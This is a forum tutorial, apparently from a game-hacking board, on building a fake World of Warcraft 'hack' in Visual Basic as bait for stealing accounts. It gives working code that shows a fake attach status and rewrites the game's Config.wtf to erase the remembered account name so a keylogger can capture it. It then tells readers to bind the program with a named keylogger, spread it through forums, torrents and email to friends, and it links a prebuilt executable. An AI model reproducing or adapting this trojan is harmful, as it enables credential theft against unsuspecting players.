Elite User
[Guide] Making an (advanced) fake WoW "hack"
1. Index
1. Index
2. The idea
3. The tools
4. Creating the trap
5. Making it "Advanced"
6. Attaching the Keylogger
7. Throwing out the bait
2. The idea
We're after WoW accounts, so we will be making a simple fake application using visual basic, and afterwards we will be adding some functions to maximize our success rate. These tools will go from forcing the user to enter his account name when logging in to detecting the region where the user is playing in. All of this will be shown with exact code and screenshots so even people who never heard of Visual Basic can do this, this brings us to our next point...
3. The tools
- Microsoft visual studio;
The version doesnt matter, since we wont be using any version specific functions. You can download the free Visual Studio VB.net Express edition from microsoft here. If you have the 2005 version you can use that one. (It's a downloader, actual download will be around 700mb)
Next to visual studio all you need is a pair of healthy brains, got both? Then it's time to get to work!
3. Creating the trap
Now we got Visual Studio Express installed we're gonna look for it in our start menu and open it up. Once Visual studio has opened we're gonna open a new project by clicking the button in the upper left corner shown below.

We're getting a dialog screen (shown below), you have to select a Windows Application (1). Then we just have to give our project a fitting name (2), i chose to name it FakeWowHack but you can pick whatever you want since it won't matter for the rest of the guide. Then we just have to click Ok (3) and we can start.

If we hover over the Toolbox tab to the left (1) we can see all the tools we can use to design our form just pin it so it's always shown (2) and we can start making up a design of a legit looking hack.

To design your hack form you can use all of the elements in the toolbox, however i will only explain the common controls highlighted below. Once you get the hang of how the designer works you're free to do whatever you want offcourse.

Let's see what we got, we have the regular button, a checkbox, a ComboBox is basicly a list you can choose from, a label is just regular text, a linklabel is the same as a label, but then for URL's. Then we have a listbox, a radiobutton and a normal textbox. You can add elements by double clicking and then you can drag it to the location where you want. Offcourse your outcome will look kinda silly with alot of label1's and button1's so we're gonna edit these a little. Just select a control by clicking on it (once) and we can see in the right bottom of our screen the Property's window.

The only attributes you will realy need is name, where you can set the name of a control. You will need that name every time you want to do something with that control in your code. The attribute text is for all of the controls the text it says, so you want to put the text of your buttons and labels and stuff in there. The only property i'll discuss now is only used if u chose for a ListBox or ComboBox, if you want to edit the choices you have you'll have to put your cursor in the (Collection) and click the "..." button that appears in the right. You'll get a dialog window as shown below, just fill in every option you want on a new line.
Hint: the title of the form can be changed by altering the Text property when the form is selected

By now you should have managed to make a decent looking form, mine is shown below. The label1 i gave the name lblStatus. Dont mind the text, this will change while the app is running. Add this too since we'll need it in the coding later.

5. Making it "Advanced"
When we doubleclick the form (not any button or something, just an empty space in your form) we will be taken to the code tab. By doubleclicking the form we already get the code for triggering when a form loads. If everything was done correctly we should see the code shown below:

This was only done to make you familiar to the code tab, we click the Form1.vb[Design] to get back to our design mode. In our toolbox we look for a Timer (found under components). This will be shown below since a timer isnt actually shown in a form. Click it to show up its property's and edit them as shown below:

So what did we just do? We created a timer named RunCheck because we will use this to update our lblStatus. We changed the interval to 1000 so it will check every second if WoW is running or not, this will make it look more legit. Now to actually start checking if its running doubleclick the timer element shown below our form (the one we clicked once to edit it's property's, remember?).
So now we should see that this code has been added:
Code:
Private Sub RunCheck_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunCheck.Tick
End Sub
everything between
Code:
Private Sub RunCheck_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunCheck.Tick
and will be executed every time our Timer ticks ( remember we set the tick value at 1 second?)
So lets start writing our code:
Code:
Public Class Form1
Private Function IsRunning() As Boolean
For Each process As Process In process.GetProcessesByName("WoW")
Return True
Next
Return False
End Function
Dim WasRunningWhenAppStarted, HasExitedOnce As Boolean
Private Sub RunCheck_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunCheck.Tick
If IsRunning() And HasExitedOnce Then
lblStatus.Text = "Attached"
ElseIf IsRunning() Then
lblStatus.Text = "Couldn't Attach, make sure u run this before running WoW"
Else
lblStatus.Text = "WoW not running"
HasExitedOnce = True
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WasRunningWhenAppStarted = IsRunning()
lblStatus.Text = "Initializing"
End Sub
End Class
What have we done?
- We made a function that returns true if wow is running.
- We declared 2 variables as booleans ( can only be true or false ) : HasExitedOnce and WasRunningWhenAppStarted
- Some beautychanges in our Form_load
And then in our Ticker we wrote the code that shows a status:
"Attached" if WoW is running and has been restarted since the app launched
"Couldn't Attach, make sure u run this before running WoW" if WoW is running but was running before this app was opened
"WoW not running" if WoW is not running
But that aint advanced enough right? Because how many times have you keylogged a password, without getting the accountname? Well we'll solve that too, we're gonna write some code that makes wow forget the account name, even when people chose the option to remember it. This is the code i got:
Code:
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Dim regKey As RegistryKey, regSubKey As RegistryKey
Private Function IsRunning() As Boolean
For Each process As Process In process.GetProcessesByName("WoW")
Return True
Next
Return False
End Function
Dim WasRunningWhenAppStarted, HasExitedOnce As Boolean
Private Sub RunCheck_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunCheck.Tick
If IsRunning() And HasExitedOnce Then
lblStatus.Text = "Attached"
ElseIf IsRunning() Then
lblStatus.Text = "Couldn't Attach, make sure u run this before running WoW"
Else
lblStatus.Text = "WoW not running"
HasExitedOnce = True
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WasRunningWhenAppStarted = IsRunning()
lblStatus.Text = "Initializing"
regKey = Registry.LocalMachine
regSubKey = regKey.CreateSubKey("SOFTWARE\Blizzard Entertainment\World of Warcraft")
Dim installpath As String = regSubKey.GetValue("InstallPath")
Dim Config As String = GetFileContents(installpath & "\WTF\Config.wtf")
SaveTextToFile(Config.Replace("SET accountName", ""), installpath & "\WTF\Config.wtf")
End Sub
Public Function GetFileContents(ByVal FullPath As String) As String
Dim strContents As String
Dim objReader As StreamReader
objReader = New StreamReader(FullPath)
strContents = objReader.ReadToEnd()
objReader.Close()
Return strContents
End Function
Public Function SaveTextToFile(ByVal strData As String, _
ByVal FullPath As String, _
Optional ByVal ErrInfo As String = "") As Boolean
Dim Contents As String
Dim bAns As Boolean = False
Dim objReader As StreamWriter
Try
objReader = New StreamWriter(FullPath)
objReader.Write(strData)
objReader.Close()
bAns = True
Catch Ex As Exception
ErrInfo = Ex.Message
End Try
Return bAns
End Function
End Class
What did we do?
We imported some classes we need, we wrote a function to read a registry key so we can get the installpath of WoW. And we wrote functions to read and write a file. Then we read the config.wtf, keep all settings except the accountname and save it back to config.wtf
BUT! this wont work in Vista and higher due to UAC, so we can ask the user to run our app as administrator, or we can force the user to run it as administrator. Since i didnt felt like taking 50 screenshots again i made a short video:
2009-03-06_2329
Now all that is left to save our application by hitting Crtl+Shift+S and build our application by clicking the build menu.
Your exe can be found where you chose to save ur application, for me this was
Documents\Visual Studio 2008\Projects\FakeWowHack\FakeWowHack\bin\Release
I can write the code here to detect the region, but since im not going to write my own keylogger here but melt the exe with a keylogger it doesnt have much use.
6. Attaching the keylogger
Well we got our .exe now so just grab your favorite keylogger (for example armadax), configure it and choose to melt it with the exe we just created.
7. Throwing out the Bait
Now you can spread your fresh new keylogger, there are various ways to do this going from posting it on forums (not mmowned offcourse!), uploading it on torrent sites, mailing it to friends, ...
This was my tutorial for now, i might extend it later. I've put a few hours into this so i hope some people can find a good use for this!
For those who are too lazy to follow this tutorial, i've added my source and .exe too (clean offc)
Executable: http://www.touchapps.eu/prive/guide/FakeWowHack.exe
Source: http://www.touchapps.eu/prive/guide/FakeWowHack.rar
Last edited by T1B; 06-19-2009 at 11:12 AM.
These ads disappear when you log in.